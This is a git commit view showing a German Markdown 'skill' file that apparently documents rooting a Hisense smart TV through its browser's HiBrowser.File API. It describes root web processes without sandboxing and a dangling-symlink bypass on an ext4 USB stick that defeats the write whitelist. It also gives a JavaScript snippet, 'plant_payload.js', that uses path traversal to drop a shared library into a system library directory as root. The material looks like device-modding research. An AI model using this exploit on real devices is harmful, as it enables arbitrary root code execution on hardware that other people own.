add stuff
This commit is contained in:
commit
26cd15d899
65 files changed
+4820
No files matched your search
@@ -0,0 +1,65 @@
|
||||
# Skill: File-API & Schreibrechte (`HiBrowser.File`)
|
||||
|
||||
## Wo die API läuft
|
||||
|
||||
Zwei Root-Webprozesse, beide UID/GID 0, volle `CapEff`, kein Seccomp:
|
||||
|
||||
- **`hisense_browser`** (Web-Browser, DevTools 9224): `--allow-file-access-from-files`.
|
||||
Hier läuft unser Recon (`recon.html`). Hat `HiBrowser.*`, `Hisense_*`, `File`.
|
||||
- **`hisenseUI`** (TV-UI, DevTools 9223): `--disable-web-security`. Andere Globals
|
||||
(`Hisense_*`/`TVAPI`/`guijs`/`model`), Signaturen im DevTools prüfen.
|
||||
|
||||
## Schreib-/Lese-Primitive
|
||||
|
||||
| Aufruf | Semantik | Binär? |
|
||||
|---|---|---|
|
||||
| `HiBrowser.File.write(name, text, 1)` | Text schreiben (relativ zu Whitelist-Root) | **nein** → `EINVAL` (22) |
|
||||
| `HiBrowser.File.download(url, target, 1)` | Datei byte-exakt holen (curl), auch `file://` | **ja** |
|
||||
| `HiBrowser.File.read(rel, flag)` / global `File.read` | Text lesen | — |
|
||||
| `fileXHR("file://<abs>")` | XHR-GET auf `file://`, liest Datei/Verzeichnis | Text |
|
||||
|
||||
Verzeichnis-Listing: `fileXHR("file://<dir>/")` liefert HTML mit
|
||||
`addRow(name, size, isDir)` → `listDir()` in `recon.html`.
|
||||
|
||||
## Whitelist (`IsSubDentry`)
|
||||
|
||||
Schreiben/Download erlaubt **nur** relativ zu diesen Präfixen:
|
||||
|
||||
```
|
||||
/3rd_rw/appdata
|
||||
/dev/shm/shm_tmp
|
||||
/3rd/launcher/data
|
||||
```
|
||||
|
||||
Prüfung: `realpath` + Präfix-Vergleich, **kein Trailing-Slash**. Pfad außerhalb
|
||||
→ Fehler.
|
||||
|
||||
## Symlink-Bypass (darf überall hin schreiben)
|
||||
|
||||
Ein **dangling Symlink** auf einem **ext4-USB-Stick** durchbricht die Whitelist:
|
||||
|
||||
1. TV mountet den Stick als `/mnt/usb/<dev>` (JS-Sicht) =
|
||||
`/dev/shm/shm_tmp/mnt/usb/<dev>` (real). **Der Elternpfad liegt in der Whitelist.**
|
||||
2. `realpath` scheitert am fehlenden Ziel → Prüfung läuft ins Leere, Präfix passt.
|
||||
3. `fopen` folgt dem Symlink und legt die Zieldatei **als root überall** an.
|
||||
|
||||
```js
|
||||
// plant_payload.js: schreibt libtvsysinfo.so nach /3rd_rw/loglevel/lib/
|
||||
var usb = "/mnt/usb/sda1";
|
||||
var target = "so/../../../../dev/shm/shm_tmp" + usb + "/tvi"; // tvi -> /3rd_rw/loglevel/lib/libtvsysinfo.so
|
||||
HiBrowser.File.download(location.origin + "/pub/libtvsysinfo.so", target, 1);
|
||||
```
|
||||
|
||||
Bedingungen:
|
||||
|
||||
- **ext4**, nicht FAT32 (keine Symlinks). Kernel 3.18: `mkfs.ext4 -O ^64bit,^metadata_csum`,
|
||||
MBR + Partition (kein Superfloppy).
|
||||
- Symlink **muss dangling bleiben** (Ziel existiert noch nicht).
|
||||
|
||||
## Fallstricke
|
||||
|
||||
- `File.write` mit Binärdaten → `EINVAL`. Binär immer `File.download`.
|
||||
- `HiBrowser.loadLibrary` lädt nichts (Dead End) — nicht als API verwenden.
|
||||
- `UNVERIFIED`: exakte `Hisense_*`-Signaturen der UI; `File.read`-Flag-Semantik je Prozess.
|
||||
|
||||
Siehe: `../modding/03-ui.md`, `../modding/06-toolchain-deploy.md`, `../dead-ends.md`.
|
||||
Reference in new issue
Block a user